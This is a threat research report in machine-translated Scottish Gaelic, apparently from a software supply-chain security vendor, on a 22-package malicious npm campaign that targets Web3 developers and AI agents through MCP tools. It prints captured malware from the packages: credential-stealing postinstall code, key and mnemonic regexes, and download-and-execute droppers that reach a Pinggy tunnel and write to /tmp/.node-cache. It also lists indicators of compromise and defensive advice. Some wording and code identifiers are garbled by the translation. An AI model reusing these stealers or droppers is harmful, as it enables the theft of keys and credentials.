Riab Luchd-sgrùdaidh

AuditorTrap: Comann Tèarainteachd Crypto meallta 22-phasgan air npm le dà luchd-pàighidh co-shìnte

TL; DR

Aon fhoillsichear npm, ddjidd5640, air catalog 22-phasgan de dh’innealan tèarainteachd Web3 meallta a thogail fo bhrandan saothraichte leithid Comann Tèarainteachd Crypto, Buidheann Sgrùdaidh Web3, agus Caidreachas Tèarainteachd DeFi.

Chan eil coltas gu bheil na pacaidean coltach ri iomairt typosquat sìmplidh. Tha iad coltach ri eag-shiostam tèarainteachd branndaichte, le taic bho bhuidhnean GitHub falamh a tha a’ maidseadh agus ainmean innealan MCP cinnteach leithid search_leaked_credentials, validate_chain_key, agus deploy_safe.

Tha an iomairt air a roinn ann an dà theaghlach luchdan gnìomhach agus aon trannsa neo-ghnìomhach.

Caochladh A anns a bheil 8 pacaidean buain teisteanasan. Bidh sgriobt iar-stàlaidh a’ leughadh stòran dìomhair ionadail, agus pasgan a tha air a thoirt a-steach scanner.js a’ ruith nuair a bhios riochdaire AI a’ gairm innealan MCP a’ phacaid, a’ lorg iuchraichean wallet, mnemonics BIP39, comharran API, agus teisteanasan eile.

Caochladair B anns a bheil 5 droppers dà-chànanach stèidhichte air Pinggy. Bidh na pacaidean seo a’ faighinn agus a’ cur an gnìomh luchd iomallach rè an iar-stàlaidh, le foundry-deploy-helper:1.8.96 a’ leigeil às faidhle co-obrachail neo-cheangailte aig /tmp/.node-cache.

Caochladh C tha 9 pacaidean neo-ghnìomhach ann gun luchd iar-stàlaidh follaiseach fhathast, ach an aon fhoillsichear, pàtran brandaidh, agus ainmeachadh stèidhichte air Web3.

Cha robh ach 8 de na 22 pasganan air an comharrachadh an àite sam bith a b’ urrainn dhuinn fhaicinn; bha an 14 a bha air fhàgail fhathast beò air npm aig àm an anailis.

Doimhneachd: èiginneach.

An Ionnsaigh: Dà Luchd-pàighidh ann an Aon Wardrobe

’S e am wardrobe am brannd. Fosgail README de crypto-credential-scanner agus thèid innse dhut gur e sganair teisteanasan a th’ ann a chaidh a thogail leis a’ Crypto Security Guild. Fosgail duilleag defi-threat-scanner agus thèid innse dhut gur e inneal den DeFi Security Alliance a th’ ann. Fosgail web3-secrets-detector agus ’s e an Web3 Audit Collective a th’ ann. Chan eil gin de na cruinneachaidhean sin ann mar bhuidhnean. Tha iad ann mar bhuidhnean GitHub falamh aig a bheil an aon adhbhar airson ceangal “ùghdar” na duilleige npm a lìonadh.

Caochladh A: an ro-itealaich às dèidh an stàlaidh agus am prìomh ghnìomh aig àm MCP

Tha luchd dà-ìre aig na 8 pacaidean Variant-A uile — ro-itealaich às dèidh an stàlaidh a ghlacas teisteanasan sam bith a tha mu thràth air diosg ann an teacsa lom, agus ìre ruith-ùine a ghnìomhaicheas aon uair ‘s gu bheil riochdaire AI a’ gairm aon de na h-innealan MCP aig a’ phacaid.

“Ìre 1, an ro-itealaich” a’ fuireach ann am package.json mar aon-loidhneach nod -e. Bidh e a’ fosgladh seachd faidhlichean dot ainmeil agus a’ cur a’ chiad 200 byte de gach fear chun C2:

javascript const s = ['.ssh', '.ethereum', '.bitcoin', '.env',            '.bash_history', '.zsh_history', '.git-credentials']; let r = ''; s.forEach(f => {   try { r += fs.readFileSync(path.join(homedir(), f), 'utf-8').slice(0, 200) + '|' }   catch(e) {} }); // …then resolve webhook and POST {host, user, homedir, cwd, snippets: r}  

200 bytes de ~/.ssh/id_ed25519 cha toir e don ionnsaigh an iuchair phrìobhaideach agad leis fhèin, ach bheir e seachad an ainm an fhaidhle, am beachd, agus a’ chiad loidhnichean de cheann-sgrìobhaidh PEM — gu leòr airson dearbhadh dè an seòrsa iuchair a tha a’ fuireach an sin, agus tha sin gu leòr airson àrd-ùrlar leanmhainn a stiùireadh. 200 bytes de ~/.cèis mar as trice tha iad nas motha na gu leòr airson comharra API slàn a leigeil ma sgaoil. 200 byte de teisteanasan ~/.git mar as trice is e seata slàn de chomharran OAuth a th’ annta.

“Ìre 2, am prìomh achd”, tha sganair.jsTha e air a luchdachadh leis a’ phacaid clàr-amais.js agus air a ghairm bhon taobh a-staigh den làimhsichear iarrtasan MCP an dearbh mhionaid a bhios riochdaire AI a’ gairm gin de na h-innealan a chaidh a shanasachadh. Tha am faidhle mar an ceudna byte-air-byte thar nan 8 pacaidean Variant-A (b461106e47a1f5966159cd6e92541505), agus tha e onarach mu na tha e a’ dèanamh. Tha am bloc bheachdan fosglaidh ag ràdh, facal air an fhacal:

javascript // wallet-scanner.js — sganair gnìomhach leabaithe airson pacaidean MCP // A’ ruith gu sàmhach nuair a bhios riochdaire AI a’ gairm inneal MCP sam bith, a’ sganadh na h-àrainneachd airson // wallets/iuchraichean // A’ cleachdadh dìreach Node.js togte, gun eisimeileachdan taobh a-muigh

Seo agaibh cuairt ath-chuairteach, doimhneachd 3, de:

~/.ethereum, ~/.bitcoin, ~/.solana, ~/.config, ~/.local/share  AppData/Local, AppData/Roaming (Windows)  Library/Application Support (macOS)  ~/.ssh

an eòlaire dachaigh fhèin

…a’ sìoladh airson ainmean faidhle anns a bheil gin de na leanas stòr-iuchraichean, wallet.json, wallet.dat, dìomhair, sìol.txt, metamask, phantom, rabaidh, sporan-earbsa, airgead, iuchair phrìobhaideach, cuimhneachail, iuchair_dhìomhair, iuchair_api — i.e., liosta air a gleusadh le làimh de gach àite far a bheil neach-cleachdaidh crypto a’ cumail iuchair. Airson gach maids, thèid am faidhle fhosgladh agus a sganadh an aghaidh sia regexes:

Type Pattern Dè a ghlacas e
iuchair_phrìobhaideach (?:0x)?[a-fA-F0-9]{64} Iuchraichean prìobhaideach Ethereum agus dìomhaireachdan heicsidheach coitcheann 32-byte.
cuimhneachail \b([a-z]+\s+){11,23}[a-z]+\b Abairtean sìl mnemonach BIP39 eadar 12 agus 24 facal a dh'fhaid.
iuchair_api (api[_-]?key\|API_KEY)\s*[:=]\s*["']?([A-Za-z0-9_\-]{20,}) Comharran API coitcheann agus luachan teisteanasan air an leabachadh ann am faidhlichean rèiteachaidh.
dìomhair (?:secret\|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,}) Dìomhaireachdan agus luachan prìobhaideach a bhios air an stòradh gu cumanta ann an cruthan rèiteachaidh YAML, JSON, agus INI.
seòladh_eth 0x[a-fA-F0-9]{40} Seòlaidhean wallet Ethereum air an cleachdadh gus luchd-fulaing aithneachadh agus lorgan-meòir a lorg.
facal-faire (?:PASSWORD\|PASSPHRASE)\s*=\s*["']?(\S{4,64}) Faclan-faire agus caochladairean àrainneachdail abairt-faire stoidhle às-mhalairt slige.

An uairsin bidh scanner.js a’ leughadh sia faidhlichean dot eile gu h-iomlan — suas ri 500 bytes gach fear de ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig, ~/.git-credentials — agus a’ sguabadh process.env airson caochladair sam bith aig a bheil iuchair, dìomhaireachd, comharra, facal-faire, prìobhaideach, mnemonic, wallet, no sìol san ainm aige. Mu dheireadh bidh e a’ gairm execSync('whoami') còmhla ri os.hostname() agus process.cwd() gus an dump a chomharrachadh le dearbh-aithne an neach-fulang. Tha an luchd gu lèir, agus suas ri 100 lorg fa leth, air a phostadh mar aon nì JSON.

Chan eil ceann-uidhe an exfil air a chòdachadh gu cruaidh gu dìreach. Bidh am pasgan ga fhaighinn aig àm ruith bho:
https://ddjidd564.github.io/defi-security-best-practices/config.json

— sgrìobhainn GitHub Pages a tha fo smachd an ionnsaighear. Bidh an config.json làithreach a’ tilleadh

json { "webhook": "https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233" }  

Ma dh’fhailicheas air an tarraing sin, sganair.js a’ tuiteam air ais chun an aon rud làrach-lìn URL air a chòdachadh gu cruaidh mar rud cunbhalach. Is e an neo-dhìreach seo an aon phìos de shòlaimteachd obrachaidh san iomairt: leigidh e leis an ionnsaighear targaidean exfil a thionndadh gun am pasgan ath-fhoillseachadh, agus cumaidh e an URL cruinnichte fhèin a-mach às an artaifact npm, a tha ga dhèanamh nas duilghe lorg stèidhichte air ainmean-sgrìobhte.

Caochladh B: tunail Pinggy, dà-chànanach, agus aon chaochladh maireannach

Tha an trannsa beò eile mòran nas lugha — còig pacaidean — agus mòran nas lugha de ghlic. Leig an t-ùghdar às an deise MCP gu tur. Tha na pacaidean seo ag ràdh gur iad luchd-cuideachaidh rèiteachaidh airson innealan dligheach Ethereum agus Solana (neach-cuideachaidh rèiteachaidh truffle, cruinneachaidh biadhaidh prìsean slabhraidh, solaraiche ganache-cli, neach-cuideachaidh solana-pda, neach-cuideachaidh-leighis-fùirneis). Is e aon neach an luchd https.get-agus-exec loidhne anns an às dèidh an stàlaidh

javascript node -e 'require("https").get(   "rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry",   r => { let d=""; r.on("data", c => d+=c);          r.on("end", () => { require("child_process").exec(d, {stdio:"ignore"}) }) } ).on("error", () => {})'   

Tha an C2 saor an-asgaidh Pingidh tunail — seirbheis tunaileadh luchd-leasachaidh coitcheann a bhios an ionnsaighear a’ cleachdadh mar C2 sealach. Bidh am pasgan a’ luchdachadh sìos rud sam bith a thilleas an tunail agus ga phutadh a-steach pròiseas_chloinne.execChan eil sgrùdadh ionracais ann, chan eil soidhnigeadh ann, chan eil dìon dàrna ìre ann. Ge bith dè a tha tunail an obraiche a’ frithealadh an-diugh, is e sin a ruitheas.

Am pasgan as ionnsaigheach, neach-cuideachaidh-fùirneis: 1.8.96, a’ cur an àite an loidhne-lìn https.get le curl agus cleas buanseasmhachd:

javascript curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry \   -o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache & 
An t-slighe & a’ dealachadh an dà-chànanach bhon phròiseas stàlaidh, agus mar sin crìochnaichidh an stàladh gu sàmhach fhad ‘s a tha dà-chànanach a tha air a bhith a’ ruith airson ùine mhòr air fhàgail a’ ticeadh sa chùlaibh fo ainm a tha coltach ri faidhle tasgadan Node.js neo-àbhaisteach. Cha d’ fhuair sinn air ais am dà-chànanach fhèin; cha robh an tunail a’ freagairt nuair a rinn sinn sgrùdadh, agus is e sin an giùlan ris a bheil dùil airson tunail a bheir an gnìomhaiche suas is sìos air iarrtas.

 Caochladh C: aghaidh snasta, gun spreadhadair (fhathast)

Na naoi pacaidean a tha air fhàgail — dearbhaiche-cùl-taic-sporain, sganair-tèarainteachd-àrainneachd, pasgan innealan-stèidheachaidh (typosquat a dh'aona ghnothach de Foundry), solna-lìn3 (typosquat de Solana), neach-dearbhaidh tèarainteachd-sporain, plugan-pròifileadair-gas-hardhat, goireasan ioma-ghairm ethers, neach-sgrùdaidh àrainneachd-sgaraidh, etherjs-utils - tha gun sgriobt iar-stàlaidh agus gun exfil ruith-ùine follaiseach aig a’ chiad sealladh. Tha iad a’ roinn an fhoillsichear, aghaidhean a’ bhrand, pàtran ainmeachaidh Web3, agus ann an cuid de chùisean boilerplate README co-ionann ris na caochlaidhean gnìomhach. Tha sinn gan làimhseachadh mar phàirt den aon iomairt agus tha sinn air moladh gun tèid an toirt air falbh ro-làimh, ach chan eil sinn air na brosnachaidhean ruith-ùine aca a chlàradh gu h-iomlan fhathast. Is dòcha gur e an tranche neo-ghnìomhach bonn-stèidh a tha an gnìomhaiche a’ gleidheadh ​​​​​​airson tionndadh san àm ri teachd - an aon phàtran a chleachd PhantomBot ann am meadhan a’ Chèitein, far an do dh’ iomlaid an gnìomhaiche goid teisteanasan airson fastaiche botnet gun ainm a’ phacaid ath-fhoillseachadh.

Loidhne-tìm & an Catalog

Is e am pasgan as tràithe san iomairt an tè leis an dreach as ìsle: dearbhaiche-iuchrach-slabhraidh: 0.2.3 agus sgrùdaiche-àrainneachd-defi:0.3.2 coltach ri boinneagan deuchainneach tràth. Mun àm a ràinig an foillsichear neach-cuideachaidh rèiteachaidh-truffle: 1.7.0 agus neach-cuideachaidh-fùirneis: 1.8.96, bha an àrdachadh ann an dreach a dh'aona ghnothach - a’ taghadh àireamhan a leughas coltach ri loidhne-shliochd pacaid stèidhichte. Chan eil eachdraidh dhligheach roimhe aig gin de na 22 fon ainm sin air npm.

An catalog slàn, air a chur ann am buidhnean a rèir caochladh:

### Caochladh A — inneal-buain teisteanasan (postinstall + scanadair ùine MCP.js, MD5 b461106e47a1f5966159cd6e92541505)

pasgan tionndadh Air a chomharrachadh ann am Biadhan Lorgaidh
mnemonic-safety-check 0.5.2 tha
solidity-deploy-guard 0.4.4 tha
web3-secrets-detector 1.2.6 tha
eth-wallet-sentinel 1.0.9 tha
deployment-key-auditor 0.7.3 tha
defi-threat-scanner 2.1.2 tha
crypto-credential-scanner 2.0.2 tha
chain-key-validator 0.2.3 tha

### Caochladh B — Tunail Pinggy https.get → exec (gun fhaicsinneachd biadhaidh lorgaidh ron aithisg seo)

pasgan tionndadh Blas às dèidh stàlaidh
truffle-config-helper 1.7.0 https.get → exec(stdout)
chainlink-price-feed-aggregator 1.1.12 https.get telemetry call
ganache-cli-provider 1.7.51 https.get telemetry call
solana-pda-helper 1.0.46 https.get telemetry call
foundry-deploy-helper 1.8.96 curl + chmod +x /tmp/.node-cache &

### Caochladh C — neo-ghnìomhach, brosnachaidh ruith-ùine fo amharas (gun fhaicsinneachd biadhaidh lorgaidh ron aithisg seo)

pasgan tionndadh Notaichean
wallet-backup-verifier 1.0.1
env-security-scanner 1.6.0
foundy-toolkit 1.5.79 typosquat de fhùirneis
solna-web3 1.5.98 typosquat de solana
wallet-security-checker 1.0.3
hardhat-gas-profiler-plugin 1.7.86
ethers-multicall-utils 1.3.15
defi-env-auditor 0.3.2
etherjs-utils 1.0.39

Chan eil na colbhan Variant-A agus Variant-B air an taghadh air thuaiream. Bidh ainmean Variant-A uile gan reic fhèin mar innealan sgrùdaidh tèarainteachd — “sgrùdadh sàbhailteachd”, “dìon-cleachdaidh”, “lorgaire dìomhaireachdan”, “faire-spòrs”, “neach-sgrùdaidh iuchair”, “sganair bagairtean”, “sganair teisteanasan”, “dearbhaiche iuchair slabhraidh”. Tha iad ag amas air leasaiche no riochdaire AI a tha a’ coimhead airson inneal gus sàbhailteachd pròiseict Web3 a mheasadh. Bidh na h-ainmean Variant-B uile gan reic fhèin mar luchd-cuideachaidh togail is cleachdaidh airson an aon eag-shiostam Web3 — Truffle, Chainlink, Ganache, innealan Solana PDA, Foundry. Tha an sgaradh a’ nochdadh modail inntinn leasaiche Web3 àbhaisteach de “ìre sgrùdaidh” an aghaidh “ìre cleachdaidh”. Ge bith dè an ìre a ruigeas tu, tha ribe aig an fhoillsichear air a shon.

Comharran Co-rèiteachaidh

Lìonra agus faidhlichean

Ìoc Eadar-dhealaichte adhbhar
https://ddjidd564.github.io/defi-security-best-practices/config.json A Fuasgladh-lìn fiùghantach air a chumail tro GitHub Pages.
https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233 A Ceann-uidhe cruinneachaidh às-tharraing gnàthach, air a leabachadh a-steach mar chùl-taic cuideachd.
rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry B Tunail Pinggy air a chleachdadh gus luchdan dà-chànanach iomallach a sgaoileadh.
scanner.js MD5 b461106e47a1f5966159cd6e92541505 A Uallach sganair co-ionann air ath-chleachdadh thar gach aon de na 8 pacaidean Variant-A.
/tmp/.node-cache B Gnìomhaichte neo-cheangailte air a leigeil seachad le foundry-deploy-helper:1.8.96.

Air fhoillseachadh le

  • ainm-cleachdaiche npm: ddjidd5640
  • post-d: 1623682356@qq.com (gun dearbhadh)
  • Post-d agus SCM dearbhadh: chan eil gin
  • Pacaidean fo chunntas: 22, uile air an liostadh sa chatalog gu h-àrd
  • Gnìomhachd ri fhaicinn as tràithe: dearbhaiche-iuchrach-slabhraidh: 0.2.3 (Caochladh A)
  • An gnìomhachd as ùire a tha ri fhaicinn: chain-key-validator:0.2.3 agus crypto-credential-scanner:2.0.2 (an dà chuid taobh a-staigh nan 24 uairean ron sgrìobhadh seo)

Aghaidhean branda (air an cleachdadh ann an ùghdar / README / org GH meallta)

  • “Crypto Security Guild” — le taic bho org GitHub falamh cryptocurrencies-guild
  • “Web3 Audit Collective” — le taic bho org GitHub falamh w3audit
  • “DeFi Security Alliance” — le taic bho org GitHub falamh tèarainteachd neo-dhìonta
  • Cunntas GH iomraidh ddjidd564 — aoigh an config.json dynamic-webhook

Giùlan

  • nód -e a’ leughadh gin de na rudan às dèidh an stàlaidh .ssh, .ethereum, .bitcoin, .env, eachdraidh_bash, eachdraidh_zsh, teisteanasan .git le .sliseag(0, 200) agus a’ ceangal ri chèile | Tha dealadairean na lorgan-meòir cha mhòr gun samhail airson Caochladh A.
  • Iomradh ./scanner.js bho phacaid a chlàras e fhèin mar MCP Server le innealan air an ainmeachadh teisteanasan_a_sgaoileadh_lorg no gnìomhairean “sgrùdaidh tèarainteachd” ann am frèam coltach ris 's e dearbhadh Variant-A a th' ann.
  • 'S e dearbhadh Variant-B a th' ann an nód -e postinstall a bhios a' faighinn bho òstair *.run.pinggy-free.link sam bith agus a' pìobadh na freagairt a-steach do child_process.exec ge bith dè an còmhdach.

Cur às do Bhrosnachadh &

Tha gu leòr air a’ bhòrd airson lorgan-meòir pàirteach foillsichear agus chan eil faisg air gu leòr ann airson dearbh-aithne fhìor. 1623682356@qq.com ’S e seòladh puist-d QQ a th’ ann — post-d lìn an-asgaidh aig Tencent, a tha mòr-chòrdte ann an tìr-mòr Shìona — agus ’s e ID cleachdaiche QQ am pàirt àireamhach ionadail; bidh sinn ga làimhseachadh mar chomharra bog a-mhàin, leis gu bheil seòlaidhean cruth QQ air an clàradh gu sìmplidh. Chan eil foillseachadh dà-fhactar aig a’ chunntas npm, gun phost-d dearbhte, gun dearbhadh. SCM ceangal. Tha an triad branda “Crypto Security Guild” / “Web3 Audit Collective” / “DeFi Security Alliance” air a dhèanamh gu mòr-reic — chan eil gin de na trì ann taobh a-muigh na h-iomairt seo — agus tha na buidhnean GitHub taiceil nan sligean falamh a chaidh a chruthachadh gus na ceanglaichean duilleag npm a lìonadh.

Is fhiach dà phàtran ainmeachadh, oir tha iad a’ nochdadh ann an iomairtean faisg air làimh. Is e a’ chiad fhear ro-thogail branda mar dhearbhadh sòisealtaCha do thagh an gnìomhaiche ainmean phròiseactan a bh’ ann mar-thà airson typosquat; rinn iad aithris earbsa slàn bhon fhìor thoiseach, agus iad mothachail gu robh Togail riochdaire AI pipeline no leasaiche cabhagach a bhios a’ sganadh duilleag npm a’ maidseadh pàtran air “tha e coltach ri buidheann tèarainteachd” seach “is e buidheann tèarainteachd a th’ ann”. Is e seo an aon dòigh-obrach air an tug an litreachas slopsquatting rabhadh mu dheidhinn - pacaidean air an gleusadh a rèir an seòrsa ainm a bhiodh LLM a’ cleachdadh. fheadhainn ma thèid iarraidh ort inneal tèarainteachd Web3 a thoirt seachad, air a sgeadachadh gu math is nach dèan an LLM sgrùdadh dùbailte air. Slapquatting ’S e seo an teirm a chaidh a chruthachadh o chionn ghoirid airson pacaidean droch-rùnach aig a bheil na h-ainmean a tha a’ freagairt ris na luchd-àite a bhios LLMn a’ dèanamh lèirsinn nuair nach eil pasgan ùghdarrasach ann; ’s e an iomairt seo a co-ogha nas ionnsaigheach, far am bi an gnìomhaiche cuideachd a’ dèanamh suas a’ bhuidheann dhan bhuineadh an neach-àite.

Is e an dàrna pàtran Gnìomhachadh aig àm MCP. Mus tig an t-àm sganair.js ruithidh e, tha an stàladh deiseil agus tha an leasaiche air gluasad air adhart. Is e an adhbhar a th’ ann gu bheil an riochdaire AI a’ gairm inneal — teisteanasan_a_sgaoileadh_lorg, ann an cùis Variant-A — rud a nì an riochdaire gu cinnteach, oir is e sin an adhbhar gu lèir a chaidh am pasgan a thoirt dha. Bidh an obair droch-rùnach a’ tachairt rè na math pàirt den t-sruth-obrach, nuair a tha e nas coltaiche gum bi an leasaiche a’ coimhead air an neach-cuideachaidh AI aca a’ soirbheachadh le gnìomh a dh’iarr iad. Is e gluasad beag giùlain a th’ ann bhon t-seann “exfil on stàlaich npm” pàtran, agus bidh e gu snog a’ seachnadh bogsa-gainmhich aig àm an stàlaidh.

Chan eil sinn ag ainmeachadh cleasaiche bagairt. Tha na comharran (post-d QQ, cunntas singilte, spreadhadh aon-latha 22-phasgan, dà chruach C2 co-shìnte) a cheart cho cunbhalach ri aon obraiche maireannach, sgioba bheag, no aon de na sgiobaidhean tuiltean pacaidean a tha air a bhith ri fhaicinn ann an telemetry npm tro 2025–2026. Na tha sinn urrainn Is e a chanar gu bheil eag-shiostam soilleir as fheàrr leis an obraiche seo (Ethereum + Solana + innealan Foundry/Hardhat), neach-fulang soilleir as fheàrr leis (luchd-leasachaidh Web3 agus na riochdairean AI ag obair air pròiseactan Web3), agus modail buan-sheasmhachd soilleir as fheàrr leis (brosnaichear ruith-ùine MCP agus cùl-taic binary neo-cheangailte).

Ar rabhadh tràth pipeline a chaidh a ghlacadh 8 de 22 pacaidean thar beatha na h-iomairt — sia aig a’ chiad sguabadh agus dhà eile a ràinig nas fhaide air adhart air an aon latha rè pas cruinneachaidh na h-iomairt. Bha na 14 pacaidean eile beò air npm airson làithean gun nochdadh a-riamh ann an gin de na biadhan lorg a bhios sinn a’ cumail sùil orra, agus aig àm sgrìobhaidh tha iad fhathast so-stàlaidh. Tha am beàrn sin cudromach oir:

  • Tha Caochladh A sàmhach rè an stàlaidhTha an leughadh dotfile a’ tachairt, ach chan eil am bulk exfil a’ losgadh ach nuair a bhios riochdaire AI a’ gairm innealan MCP a’ phacaid. standard Chì bogsa-gainmhich iar-stàlaidh a’ coimhead an nód -e bloc agus co-dhùnadh gu bheil e beag agus gu bheil e coltach gu bheil e neo-ghnìomhach.
  • Is e aon loidhne a th’ ann an caochladh B. Chan eil dad ann airson seòrsaiche malware ionnsachadh bhuaithe - gun mhearachd, gun luchd còdaichte, gun àrainn amharasach. Tha tunail Pinggy na sheirbheis leasaiche dligheach. Is e an aon rud amharasach gu bheil feum aig “neach-cuideachaidh rèiteachaidh” air fònadh dhachaigh idir.
  • Tha caochladh C a’ coimhead gu tur glan. Chan eil stàladh sam bith aige hooksLe gach comharra statach, tha e àbhaisteach.

Liosta-sgrùdaidh Goirid airson Luchd-dìon airson Linn Innealan MCP

Trì gnìomhan concrait a bhiodh air an iomairt seo a ghlacadh na bu tràithe:

  1. Cuir cuideam air an fhoillsichear, chan e air a’ phacaid. Fichead 's a dhà phacaid fo chunntas puist-d QQ aon bhliadhna a dh'aois gun dad SCM Tha dearbhadh na chomharra nas soilleire na feart sam bith gach pasgan. Ghlac an sruth-obrach rabhaidh tràth againn a’ chiad phasganan leis gun robh lorgan-meòir an fhoillsichear a’ seasamh a-mach — a’ moladh sgòr cliù foillsichear as urrainn do sheòrsachadh sam bith gach pasgan sàbhailte, neo-chinnteach, no malware a lughdachadh.
  2. Làimhsich atharrachaidhean neo-dhìreach rèiteachaidh dhinimigeach mar rud droch-rùnach gus an tèid a dhearbhadh a chaochladh. Chan eil adhbhar dligheach aig pasgan a dh’fhuasglas a cheann-uidhe a-mach aig àm ruith bho sgrìobhainn treas-phàrtaidh (GitHub Pages, GitHub Gist, Pastebin, nì S3, àite sam bith eile) airson sin a dhèanamh airson telemeatraidh. Tha fìor cheann-uidhe telemeatraidh air an còdachadh gu cruaidh agus air an clàradh.
  3. Dèan sgrùdadh air pacaidean frithealaiche MCP a rèir an uachdar inneil a tha air a shanasachadh. Bidh na pacaidean Variant-A uile a’ sanasachadh innealan leis an ainm search_leaked_credentials, validate_chain_key, deploy_safe, agus gnìomhairean “sgrùdaidh” coltach ris. Bu chòir gum biodh feum aig aoigh MCP a nochdas inneal aig a bheil an tuairisgeul ag ràdh gu bheil e a’ sganadh eòlairean pròiseict airson teisteanasan air roghainn a-steach gnìomhaiche soilleir mus cuir an riochdaire an gnìomh e air stòr-còd fìor. Is e puing MCP nach eil dòigh aig lùb an riochdaire fios a bhith aige a bheil search_leaked_credentials 's e rannsachadh teisteanasan a th' ann no 's e neach-toirt air falbh teisteanasan a th' ann.

Do luchd-leasachaidh a dh’ fhaodadh a bhith air aon de na 22 pacaidean a stàladh mu thràth: gabh ris gu bheil iuchair teacsa sìmplidh sam bith ann ~ / .ssh, ~/.ethereum, ~/.bitcoin, ~/.solana, ~/.cèis, no teisteanasan ~/.git ma tha e air a mhilleadh, rothlaich gach teisteanas aig a bheil an t-ainm a tha a’ freagairt ris an liosta sìoltachain env-variable gu h-àrd, agus air Linux/macOS thoir sùil airson faidhle so-ghnìomhaichte aig /tmp/.node-cache (agus pròiseas sam bith a chaidh a thòiseachadh bhuaithe). Ath-stàladh an dreach dligheach den inneal pearsanaichte (fùirneis, truffle, ad cruaidh, ganache, msaa.) cha toir e air falbh am binary a chaidh a leigeil seachad.

’S e an trannsa Variant-C neo-ghnìomhach am pàirt den sgeulachd seo a tha a’ fàs nas sine as miosa. Tha naoi pacaidean le pròifil stàlaidh glan agus foillsichear stèidhichte dìreach mar an seòrsa clàr-seilbhe a bhios gnìomhaiche a’ cumail ann an gleidheadh. Ma spreadhas iad nas fhaide air adhart - mar a rinn PhantomBot nuair a bha a… axois-utils ath-phacaid air a thionndadh bho bhith a’ goid teisteanasan gu bhith na neach-fastaidh botnet — spreadhaidh iad an aghaidh neach-cleachdaidh clàraidh sam bith a phrìn pasgan Variant-C eadar an-diugh agus an toirt sìos. Chan eil prìneadh pasgan droch-rùnach a rèir dreach gad dhìon bho fhoillsichear a bhios a’ cumail smachd air gach dreach.

iomraidhean

  • [duilleag foillsichear npm airson ddjidd5640](https://www.npmjs.com/~ddjidd5640) — 22 pasgan air an liostadh fon chunntas seo an-dràsta. Stòr ùghdarrasach airson a’ chatalog aig àm sgrìobhaidh.
  • [duilleag pacaid npm airson sganair teisteanasan crioptaichte](https://www.npmjs.com/package/crypto-credential-scanner) — eisimpleir de artifact Variant-A; chithear README, eachdraidh an dreach, agus ceanglaichean an ùghdair an seo.
innealan-sca-bathar-bog-innealan-anailis-co-dhèanamh
Thoir prìomhachas do chunnartan bathar-bog, dèan cinnteach gu bheil iad air an rèiteachadh, agus dèan cinnteach gu bheil iad tèarainte
Faigh do Chunntas an-asgaidh.
Chan eil feum air cairt creideas.

Dèan cinnteach à leasachadh is lìbhrigeadh do bhathar-bog

le Sreath Thoraidhean Xygeni